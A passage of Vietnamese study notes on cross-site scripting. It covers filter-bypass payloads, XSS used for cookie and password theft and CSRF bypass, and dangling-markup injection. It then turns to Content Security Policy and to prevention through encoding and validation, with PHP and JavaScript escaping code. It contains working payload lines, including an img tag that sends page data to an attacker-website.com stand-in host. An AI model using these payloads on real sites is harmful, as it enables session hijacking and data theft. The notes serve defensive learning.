- Một số trang web khiến XSS khó khăn hơn bằng cách hạn chế các ký tự được phép sử dụng. Điều này có thể ở cấp độ web hoặc bằng cách triển khai WAF ngăn không cho các yêu cầu của bạn đến được trang web. Trong tình huống này, cần thử nghiệm các cách khác để gọi các hàm bỏ qua các các biện pháp bảo mật này. 1 cách để thực hiện điều này là sử dụng câu lệnh throw với trình xử lý ngoại lệ. Điều này cho phép bạn truyền đối số cho 1 hàm mà không cần sử dụng dấu ngoặc đơn. Mã sau đây gán alert() cho trình xử lý ngoại lệ toàn cục và throw truyền cho ‘1’ trình xử lý ngoại lệ. Kết quả cuối cùng là hàm alert() được gọi với ‘1’ tư cách là 1 đối số:

Onerror=alert; throw 1

**c. Sử dụng mã hóa HTML**

- Khi ngữ cảnh XSS là 1 số mã JS hiện có trong thuộc tính thẻ được trích dẫn, chẳng hạn trình xử lý sự kiện, có thể sử dụng mã hóa HTML để giải quyết 1 số bộ lọc đầu vào.

Khi trình duyệt đã phân tích các thẻ HTML và thuộc tính trong phản hồi, nó sẽ thực hiện giải mã HTML các giá trị thuộc tính thẻ trước khi chúng được xử lý thêm. Nếu ứng dụng phía máy chủ chặn hoặc khử trùng 1 số ký tự cần thiết để khai thác XSS thành công, thường có thể bỏ qua xác thực đầu vào bằng cách mã hóa HTML các ký tự đó.

Ví dụ, XSS như sau: <a href="#" onclick="... var input='controllable data here'; ...">

Và ứng dụng chặn hoặc thoát các ký tự dấu nháy đơn, có thể sử dụng đoạn mã sau để thoát khỏi chuỗi JS và thực thi tập lệnh của riêng bạn:

&apos;-alert(document.domain)-&apos;

Trình tự &apos; là 1 thực thể HTML biểu diễn dấu nháy đơn hoặc dấu ngoặc đơn. Vì trình duyệt HTML giải mã giá trị của thuộc tính onclick trước khi JS được diễn giải, các thực thể được giải mã thành dấu ngoặc kép, trở thành dấu phân cách chuỗi và do đó cuộc tấn công thành công.

**d. XSS trong các ký tự mẫu JS**

- JS template literals là chuỗi ký tự cho phép nhúng các biểu thức JS. Các biểu thức nhúng được đánh giá và thường được nối vào văn bản xung quanh. Template literals được đóng gói trong dấu ngoặc kép ngược thay vì dấu ngoặc kép thông thường và các kiểu thức nhúng được xác định bằng ${…} cú pháp .

Ví dụ: đoạn mã sau sẽ in ra thông báo chào mừng có bao gồm tên hiển thị của người dùng.

document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;

Khi ngữ cảnh XSS nằm trong 1 mẫu JS literals, không cần phải chấm dứt literals. Thay vào đó, chỉ cần sử dụng ${…} cú pháp để nhúng 1 biểu thức JS sẽ được thực thi khi literals được xử lý. Ví dụ, nếu ngữ cảnh XSS như sau:

<script>

...

var input = `controllable data here`;

...

</script>

Sau đó bạn có thể sử dụng đoạn mã sau để thực thi JS mà không cần chấm dứt mẫu ký tự:

${alert(document.domain)}

**5.5 KHAI THÁC LỖ HỔNG MÃ LỆNH CHÉO TRANG WEB**

**5.5.1 Khai thác XSS để đánh cắp cookie**

- Đây là cách truyền thống. Hầu hết các ứng dụng web sử dụng cookie để xử lý phiên. Có thể khai thác XSS để gửi cookie của nạn nhân đến tên miền riêng, sau đó tự tay đưa cookie vào trình duyệt và mạo danh nạn nhân.

Trên thực tế, cách tiếp cận có 1 số hạn chế đáng kế:

+) Nạn nhân có thể chưa đăng nhập

+) Nhiều ứng dụng ẩn cookie khỏi JS bằng cách sử dụng flag HttpOnly.

+) Phiên có thể bị khóa theo các yếu tố bổ sung như địa chỉ IP của người dùng.

+) Phiên làm việc có thể hết thời gian trước khi bạn có thể tiếp tục.

**5.5.2 Khai thác XSS để lấy mật khẩu**

- Nhiều người dùng có trình quản lý mật khẩu tự động điền mật khẩu của họ. Bạn có thể tận dụng điều này bằng cách tạo 1 mục nhập mật khẩu, đọc mật khẩu tự động điền và gửi đến tên miền riêng của bạn. Kỹ thuật này tránh được hầu hết các vấn đề liên quan đến đánh cắp cookie và thậm chí có thể truy cập vào mọi tài khoản khác mà nạn nhân đã sử dụng lại cùng 1 mật khẩu.

- Nhược điểm là chỉ hiệu quả với những người dùng có trình quản lý mật khẩu thực hiện tự động điền mật khẩu.

**5.5.3 Khai thác XSS để bỏ qua các biện pháp bảo vệ CSRF**

- XSS cho phép kẻ tấn công thực hiện hầu như mọi thứ mà người dùng hợp pháp có thể làm trên 1 trang web. Bằng cách thực thi JS tùy ý trong trình duyệt của nạn nhân, XSS cho phép thực hiện nhiều hành động như thể là người dùng. Ví dụ, có thể khiến nạn nhân gửi tin nhắn, chấp nhận yêu cầu kb, cam kết mở cửa hậu vào kho lưu trữ mã nguồn hoặc chuyển 1 số bitcoin.

- Một số trang cho người dùng đã đăng nhập thay đổi địa chỉ email của họ mà không cần nhập lại mật khẩu. Nếu tìm thấy XSS trong những trang này, có thể khai thác để đánh cắp mã thông báo CSRF. Với mã thông báo, có thể thay đổi địa chỉ email của nạn nhân thành địa chỉ mà bạn kiểm soát. Sau đó, có thể kích hoạt đặt lại mật khẩu để có quyền truy cập vào tài khoản.

- Loại khai thác kết hợp XSS với chức năng thường nhắm tới CSRF. Trong khi CSRF truyền thống là lỗ hổng “một chiều”, trong đó kẻ tấn công có thể dụ nạn nhân gửi yêu cầu nhưng không thể thấy phản hồi, XSS cho phép giao tiếp “hai chiều”. Cho phép kẻ tấn công vừa gửi yêu cầu tùy ý vừa đọc phản hồi, dẫn đến 1 cuộc tấn công kết hợp bỏ qua các biện pháp phòng thủ chống CSRF.

**5.6 TIÊM ĐÁNH DẤU LƠ LỬNG**

**5.6.1 Tiêm đánh dấu lơ lửng là gì ?**

- Là 1 kỹ thuật dùng để thu nhập dữ liệu xuyên miền trong những tình huống không thể thực hiện tấn công xuyên trang web hoàn toàn.

- Giả sử 1 ứng dụng nhúng dữ liệu có thể bị kẻ tấn công kiểm soát vào phản hồi của nó theo cách không an toàn: <input type="text" name="input" value="CONTROLLABLE DATA HERE

- Giả sử ứng dụng không lọc hoặc thoát khỏi các ký tự > hoặc “. Kẻ tấn công có thể sử dụng cú pháp để thoát khỏi giá trị thuộc tính được trích dẫn và thẻ bao quanh, và quay lại ngữ cảnh HTML: “>

- Trong tình huống này, kẻ tấn công cố gắng thực hiện XSS. Nhưng giả sử rằng 1 cuộc tấn công XSS thông thường không thể thực hiện được do bộ lọc đầu vào, chính sách bảo mật nội dung hoặc các trở ngại khác. Ở đây, vẫn có thực hiện 1 cuộc tấn công tiêm mã đánh dấu lơ lửng bằng cách sử dụng 1 tải trọng như sau:

"><img src='//attacker-website.com?

- Tải trọng tạo 1 thẻ img và xác định phần bắt đầu của 1 thuộc tính src chứa URL trên máy chủ của kẻ tấn công. Tải trọng của kẻ tấn công không đóng thuộc tính src, mà để lơ lửng. Khi trình duyệt phân tích cú pháp phản hồi, nó sẽ nhìn về phía trước cho đến khi gặp 1 dấu ngoặc kép đơn để chấm dứt thuộc tính. Mọi thứ cho đến ký tự đó sẽ được coi là 1 phần của URL và sẽ được gửi đến máy chủ của kẻ tấn công trong chuỗi truy vấn URL. Bất kỳ ký tự nào không phải chữ và số, bao gồm cả dòng mới, sẽ được mã hóa URL.

- Hậu quả của cuộc tấn công là kẻ tấn công có thể nắm bắt 1 phần phản hồi của ứng dụng sau điểm tiêm, có thể chứa dữ liệu nhạy cảm. Tùy thuộc vào chức năng của ứng dụng, điều này có thể bao gồm mã thông báo CSRF, tin nhắn email hoặc dữ liệu tài chính.

- Bất kỳ thuộc tính nào tạo ra yêu cầu bên ngoài đều có thể được sử dụng để đánh dấu lơ lửng.

**5.6.2 Làm thế nào để ngăn chặn các cuộc tấn công đánh dấu lơ lửng**

- Có thể ngăn chặn các cuộc tấn công đánh dấu lơ lửng bằng cách sử dụng các biện pháp phòng thủ chung để ngăn chặn tấn công xuyên trang, bằng mã hóa dữ liệu khi xuất ra và xác thực dữ liệu đầu vào khi đến.

- Có thể giảm thiểu 1 số cuộc tấn công đánh dấu dangling bằng chính sách bảo mật nội dung (CSP). Có thể ngăn chặn 1 số các cuộc tấn công, bằng cách sử dụng chính sách ngăn chặn các thẻ như img tải tài nguyên bên ngoài

**Ghi chú:** Chrome quyết định giải quyết bằng chặn những thẻ như img từ việc xác định URL chứa ký tự thô như dấu ngoặc nhọn hoặc dòng mới. 🡪 sẽ ngăn chặn các cuộc tấn công vì dữ liệu nếu không sẽ được thu thập thường sẽ chứa các ký tự thô đó, do đó cuộc tấn công sẽ bị chặn.

**5.7 CHÍNH SÁCH BẢO MẬT NỘI DUNG**

**5.7.1 CSP (chính sách bảo mật nội dung) là gì ?**

- Là 1 cơ chế bảo mật của trình duyệt nhằm mục đích giảm thiểu XSS và 1 số cuộc tấn công khác. Hoạt động bằng cách hạn chế các tài nguyên mà 1 trang có thể tải và hạn chế liệu 1 trang có thể được đóng khung bởi các trang khác hay không.

- Để bật CSP, phản hồi cần bao gồm tiêu đề phản hồi HTTP được gọi là Content-Security-Policy với giá trị chứa chính sách. Bản thân chính sách bao gồm 1 hoặc nhiều chỉ thị, được phân tách bằng dấu ;

**5.7.2 Giảm thiểu các cuộc tấn công XSS bằng cách sử dụng CSP**

- Chỉ thị cho phép các tập lệnh được tải từ cùng nguồn gốc với chính trang đó: script-src ‘self’

- Chỉ thị sau đây sẽ chỉ cho phép tải các tập lệnh từ 1 nguồn cụ thể:

script-src <https://scripts.normal-website.com>

- Phải cẩn thận khi cho phép các tập lệnh từ các miền bên ngoài. Nếu có bất kỳ cách nào để kẻ tấn công kiểm soát nội dung được phục vụ từ miền bên ngoài, chúng có thể thực hiện 1 cuộc tấn công. Ví dụ, các mạng phân phối nội dung không sử dụng URL theo từng khách hàng, chẳng hạn như ajax.googleapis.com, không nên được tin cậy, vì bên thứ 3 có thể đưa nội dung vào miền của họ.

- Ngoài việc đưa tên miền cụ thể vào danh sách trắng, chính sách bảo mật nội dung còn cung cấp 2 cách khác để chỉ định các tài nguyên đáng tin cậy: nonce và hash:

+) Chỉ thị CSP có thể chỉ định 1 nonce và cùng 1 giá trị phải được sử dụng trong thẻ tải 1 tập lệnh. Nếu các giá trị không khớp thì tập lệnh sẽ không thực thi. Để có hiệu quả như 1 biện pháp kiểm soát, nonce phải được tạo an toàn trên mỗi lần tải trang và không thể đoán được

+) Chỉ thị CSP có thể chỉ định 1 giá trị băm của nội dung của tập lệnh đáng tin cậy. Nếu giá trị băm của tập lệnh không khớp với giá trị được chỉ định trong chỉ thị, thì tập lệnh sẽ không thực thi. Nếu nội dung của tập lệnh thay đổi, bạn sẽ cần cập nhật giá trị băm được chỉ định trong chỉ thị.

- CSP thường chặn các tài nguyên như script. Tuy nhiên, nhiều CSP cho phép yêu cầu hình ảnh, có nghĩa là bạn thường có thể sử dụng các thành phần img để gửi yêu cầu đến các máy chủ bên ngoài nhằm tiết lộ mã thông báo CSRF chẳng hạn.

- Một số trình duyệt, chẳng hạn như Chrome, có chức năng giảm thiểu đánh dấu tích hợp sẽ chặn các yêu cầu chứa 1 số ký tự nhất định,chẳng hạn như các dòng mới thô, chưa mã hóa hoặc dấu ngoặc nhọn.

Một số chính sách hạn chế hơn và ngăn chặn mọi hình thức yêu cầu bên ngoài. Tuy nhiên, vẫn có thể vượt qua bằng cách gợi ra 1 số tương tác của người dùng. Để bỏ qua hình thức chính sách này, cần chèn 1 phần tử HTML, khi nhấp vào, sẽ lưu trữ và gửi mọi thứ được bao quanh bởi phần tử chèn đến 1 máy chủ bên ngoài.

**5.7.3 Giảm thiểu các cuộc tấn công đánh dấu lơ lửng bằng cách sử dụng CSP**

- Chỉ thị sau đây chỉ cho phép tải hình ảnh từ cùng nguồn với trang đó: img-src ‘self’

- Chỉ thị sau đây chỉ cho phép tải hình ảnh từ 1 miền cụ thể: img-src <https://images.normal-website.com>

- Các chính sách này sẽ ngăn chặn một số khai thác đánh dấu lơ lửng, vì 1 cách dễ dàng để thu thập dữ liệu mà không cần tương tác của người dùng là sử dụng thẻ img. Tuy nhiên, nó không ngăn chặn các khai thác khác, chẳng hạn như chèn thẻ neo với thuộc tính href lửng lơ.

**5.7.4 Bỏ qua CSP bằng cách tiêm chính sách**

- Có thể gặp 1 trang web phản ánh đầu vào chính sách thực tế, có thể là trong 1 chỉ thị report-uri. Nếu trang web phản ánh 1 tham số mà bạn có thể kiểm soát, có thể chèn dấu ; để thêm các chỉ thị CSP của riêng bạn. Thông thường, report-uri này là chỉ thị cuối cùng trong danh sách. Điều này có nghĩa là sẽ cần ghi đè lên các chỉ thị hiện có để khai thác lỗ hổng này và bỏ qua chính sách.

- Thường, không thể ghi đè lên 1 script-src hiện có. Tuy nhiên chrome gần đây giới thiệu script-src-elem, chỉ thị này cho phép kiểm soát các thành phần script, nhưng k phải sự kiện. Quan trọng là chỉ thị này cho phép ghi đè lên các chỉ thị script-src hiện có.

**5.7.5 Bảo vệ chống lại clickjacking bằng CSP**

- Chỉ thị sau chỉ cho phép trang được đóng khung với các trang khác có cùng nguồn gốc: frame-acestors ‘self’

- Chỉ thị sau đây sẽ ngăn chặn hoàn toàn việc đóng khung:

Frame-ancestors ‘none’

Sử dụng chính sách bảo mật nội dung để ngăn chặn clickjacking linh hoạt hơn so với sử dụng tiêu đề X-Frame-Options vì bạn có thể chỉ định nhiều miền và sử dụng ký tự đại diện. Ví dụ:

frame-ancestors 'self' https://normal-website.com [https://\*.robust-website.com](https://*.robust-website.com)

- CSP cũng xác thực từng khung trong hệ thống phân cấp khung cha, trong khi X-Frame-Options chỉ xác thực khung cấp cao nhất

- Nên sử dụng CSP để bảo vệ chống lại các cuộc tấn công clickjacking. Cũng có thể kết hợp điều này với X-Frame-Options để cung cấp khả năng bảo vệ trên các trình duyệt cũ hơn không hỗ trợ CSP, chẳng hạn như Internet Explorer.

**6. CÁCH NGĂN CHẶN XSS**

- Việc ngăn chặn thủ công XSS thường có thể thực hiện thông qua 2 lớp phòng thủ:

+) Mã hóa dữ liệu trên đầu ra

+) Xác thực khi đầu vào đến

**6.1 Mã hóa dữ liệu trên đầu ra**

- Áp dụng trực tiếp trước khi dữ liệu do người dùng kiểm soát được ghi vào trang, vì ngữ cảnh bạn đang ghi vào sẽ xác định loại mã hóa cần sử dụng. Ví dụ, các giá trị bên trong chuỗi JS yêu cầu loại thoát khác với các giá trị trong ngữ cảnh HTML.

- Trong ngữ cảnh HTML, nên chuyển đổi các giá trị không nằm trong danh sách cho phép:

+) Chuyển < thành &lt;

+) Chuyển > thành &gt;

- Trong ngữ cảnh JS, các giá trị không phải chữ và số phải được thoát Unicode:

+) chuyển < thành: \u003c

+) chuyển > thành: \u003e

- Đôi khi cần áp dụng nhiều lớp mã hóa theo đúng thứ tự. Ví dụ, để nhúng an toàn vào trình xử lý sự kiện, cần xử lý cả ngữ cảnh JS và ngữ cảnh HTML. Trước tiên, thoát Unicode dữ liệu đầu vào, sau đó mã hóa HTML:

<a href="#" onclick="x='This string needs two layers of escaping'">test</a>

**6.2 Xác thực đầu vào khi đến**

- Các vị dụ về xác thực đầu vào bao gồm:

+) Nếu người dùng gửi URL sẽ được trả về trong phản hồi, xác thực rằng URL đó bắt đầu bằng giao thức an toàn như HTTP hoặc HTTPS. Nếu không, ai đó có thể khai thác trang web bằng giao thức có hại như javascript hoặc data.

+) Nếu người dùng cung cấp 1 giá trị mà họ mong đợi là số, hãy xác thực rằng giá trị đó thực sự chứa số nguyên

+) Xác thực rằng dữ liệu đầu vào chỉ chứa 1 tập hợp ký tự mong đợi.

- Xác thực đầu vào lý tưởng nhất là hoạt động bằng cách chặn đầu vào không hợp lệ. 1 cách tiếp cận thay thế, cố gắng xóa đầu vào không hợp lệ để làm cho nó hợp lệ, dễ xảy ra lỗi hơn và nên tránh bất cứ khi nào có thể.

**6.2.1 Danh sách trắng so với danh sách đen**

- Thay vì cố gắng lập danh sách tất cả các giao thức có hại, chỉ cần lập giao thức an toàn (HTTP, HTTPS) và không cho phép bất kỳ giao thức nào không có trong danh sách. Điều này đảm bảo khả năng phòng thủ không bị phá vỡ khi giao thức có hại mới xuất hiện và ít bị ảnh hưởng bởi các tấn công tìm cách che dấu các giá trị không hợp lệ để tránh danh sách đen.

**6.3 Cho phép HTML “an toàn”**

- Tránh cho phép người dùng đăng đánh dấu HTML bất cứ khi nào có thể, nhưng đôi khi đó là yêu cầu kinh doanh. Ví dụ, 1 trang blog có thể cho phép đăng bình luận có chứa 1 số đánh dấu HTML hạn chế.

- Cách tiếp cận cổ điền là cố gắng lọc ra các thẻ JS có khả năng gây hại. Có thể triển khai cách này bằng cách sử dụng danh sách trắng các thẻ và thuộc tính an toàn, nhưng do sự khác biệt trong các công cụ phân tích cú pháp của trình duyệt và các điểm kỳ quặc như đột biến XSS, cách tiếp cận này cực kì khó triển khai 1 cách an toàn

- Tùy chọn ít tồi tệ nhất là sử dụng thư viện JS thực hiện lọc và mã hóa trong trình duyệt của người dùng, như DOMPurify. Các thư viện khác cho phép người dùng cung cấp nội dung ở định dạng markdown và chuyển đổi markdown thành HTML. Không may, tất cả các thư viện này đều có lỗ hổng XSS theo thời gian, vì vậy đây không phải là giải pháp hoàn hảo. Nếu sử dụng, nên theo dõi chặt chẽ các bản cập nhật bảo mật.

**Ghi chú:** Ngoài JavaScript, các nội dung khác như CSS và thậm chí cả HTML thông thường cũng có thể gây hại trong một số trường hợp

**6.4 Làm thế nào để ngăn chặn XSS bằng cách sử dụng công cụ tạo mẫu**

- Nhiều trang web hiện đại sử dụng công cụ mẫu phía máy chủ như Twig và Freemaker để nhúng nội dung động vào HTML. Chúng thường xác định hệ thống thoát riêng của chúng. Ví dụ, trong Twig, bạn có thể sử dụng bộ lọc e(), với 1 số đối số xác định ngữ cảnh: {{ user.firstname | e('html') }}

- Một số công cụ tạo mẫu khác, chẳng hạn như Jinja và React, thoát khỏi nội dung động theo mặc định, giúp ngăn ngừa hiệu quả hầu hết các trường hợp xảy ra XSS.

- Chúng tôi khuyên bạn nên xem xét kỹ lưỡng các tính năng thoát khi đánh giá xem có nên sử dụng 1 công cụ mẫu hoặc framework nào đó hay không.

**Ghi chú:** Nếu bạn trực tiếp nối dữ liệu đầu vào của người dùng vào chuỗi mẫu, bạn sẽ dễ bị tấn công bằng cách chèn mẫu vào phía máy chủ , thường nghiêm trọng hơn XSS.

**6.5 Làm thế nào để ngăn chặn XSS trong PHP**

- Trong PHP có 1 hàm tích hợp để các mã hóa thực thể được gọi là htmlentities. Nên gọi hàm này để thoát khỏi đầu vào của mình khi ở trong ngữ cảnh HTML. Hàm này nên được gọi với 3 đối số:

+) Chuỗi nhập của bạn

+) ENT\_QUOTES, đây là cờ chỉ định tất cả các dấu ngoặc kép phải được mã hóa.

+) Bộ ký tự, trong hầu hết các trường hợp phải là UTF-8.

- Ví dụ: <?php echo htmlentities($input, ENT\_QUOTES, 'UTF-8');?>

- Khi ở trong ngữ cảnh chuỗi JS, cần phải thoát Unicode đầu vào như đã mô tả. Không may, PHP không cung cấp API để thoát Unicode 1 chuỗi. Sau đây là 1 số mã để thực hiện điều đó trong PHP.

<?phpfunction jsEscape($str) {

$output = '';

$str = str\_split($str);

for($i=0;$i<count($str);$i++) {

$chrNum = ord($str[$i]);

$chr = $str[$i];

if($chrNum === 226) {

if(isset($str[$i+1]) && ord($str[$i+1]) === 128) {

if(isset($str[$i+2]) && ord($str[$i+2]) === 168) {

$output .= '\u2028';

$i += 2;

continue;

}

if(isset($str[$i+2]) && ord($str[$i+2]) === 169) {

$output .= '\u2029';

$i += 2;

continue;

}

}

}

switch($chr) {

case "'":

case '"':

case "\n";

case "\r";

case "&";

case "\\";

case "<":

case ">":

$output .= sprintf("\\u%04x", $chrNum);

break;

default:

$output .= $str[$i];

break;

}

}

return $output;

}

?>

- Sau đây là cách sử dụng hàm này trong PHP:  
<script>x = '<?php echo jsEscape($\_GET['x'])?>';</script>

**6.6 Cách ngăn chặn XSS phía máy khách trong JS**

- Để thoát khỏi đầu vào của người dùng trong ngữ cảnh HTML trong JS, cần mã hóa HTML của riêng mình vì JS không cung cấp API để mã hóa HTML. Sau đây là 1 số ví dụ về mã JS chuyển đổi chuỗi thành thực thể HTML:

function htmlEncode(str){

return String(str).replace(/[^\w. ]/gi, function(c){

return '&#'+c.charCodeAt(0)+';';

});

}

- Sau đó, có thể sử dụng chức năng này như sau:

<script>document.body.innerHTML = htmlEncode(untrustedValue)</script>

- Nếu đầu vào nằm trong chuỗi JS, cần một bộ mã hóa thực hiện thoát Unicode. Sau đây là 1 bộ mã hóa Unicode mẫu:

function jsEscape(str){

return String(str).replace(/[^\w. ]/gi, function(c){

return '\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4);

});

}

- Có thể sử dụng chức năng này như sau:

<script>document.write('<script>x="'+jsEscape(untrustedValue)+'";<\/script>')</script>

**6.7 Làm thế nào để ngăn chặn XSS trong jQuery**

- XSS phổ biến nhất trong jQuery là khi truyền dữ liệu đầu vào của người dùng đến một bộ chọn jQuery. nhà phát triển web thường sử dụng location.hash và truyền dữ liệu đến bộ chọn, điều này gây ra XSS vì jQuery sẽ hiển thị HTML. jQuery đã nhận ra vấn đề này và vá logic bộ chọn của họ để kiểm tra xem dữ liệu đầu vào có bắt đầu bằng một hàm băm hay không. Bây giờ jQuery sẽ chỉ hiển thị HTML nếu ký tự đầu tiên là <. Nếu bạn truyền dữ liệu không đáng tin cậy đến bộ chọn jQuery, hãy đảm bảo bạn thoát giá trị đúng cách bằng jsEscapehàm ở trên.

**6.8 Giảm thiểu XSS bằng chính sách bảo mật nội dung (CSP)**

- Chính sách bảo mật nội dung (CSP) là tuyến phòng thủ cuối cùng chống lại XSS. Nếu biện pháp phòng ngừa XSS không thành công, có thể sử dụng CSP để giảm thiểu XSS bằng cách hạn chế những gì kẻ tấn công có thể làm.

CSP cho phép kiểm soát nhiều thứ khác nhau, chẳng hạn như có thể tải các tập lệnh bên ngoài hay không và có thực thi các tập lệnh nội tuyến hay không. Để triển khai CSP, cần bao gồm tiêu đề phản hồi HTTP được gọi Content-Security-Policy với giá trị chứa chính sách của bạn.

Một ví dụ về CSP như sau:

default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';

Chính sách này chỉ định rằng tài nguyên như hình ảnh và tập lệnh chỉ có thể được tải từ cùng một nguồn gốc với trang chính. Vì vậy, ngay cả khi kẻ tấn công có thể chèn thành công một tải trọng XSS, chúng chỉ có thể tải các tài nguyên từ nguồn gốc hiện tại. Điều này làm giảm đáng kể khả năng kẻ tấn công có thể khai thác lỗ hổng XSS.

Nếu bạn yêu cầu tải tài nguyên bên ngoài, hãy đảm bảo chỉ cho phép các tập lệnh không hỗ trợ kẻ tấn công khai thác trang web. Ví dụ: nếu đưa một số tên miền vào danh sách trắng thì kẻ tấn công có thể tải bất kỳ tập lệnh nào từ các tên miền đó. Nếu có thể, hãy thử lưu trữ tài nguyên trên tên miền của riêng bạn.

Nếu không thể thực hiện được điều đó thì bạn có thể sử dụng chính sách dựa trên băm hoặc nonce để cho phép các tập lệnh trên các miền khác nhau. Một nonce là một chuỗi ngẫu nhiên được thêm vào như một thuộc tính của một tập lệnh hoặc tài nguyên, sẽ chỉ được thực thi nếu chuỗi ngẫu nhiên khớp với chuỗi do máy chủ tạo ra. Kẻ tấn công không thể đoán được chuỗi ngẫu nhiên và do đó không thể gọi một tập lệnh hoặc tài nguyên với một nonce hợp lệ và do đó tài nguyên sẽ không được thực thi.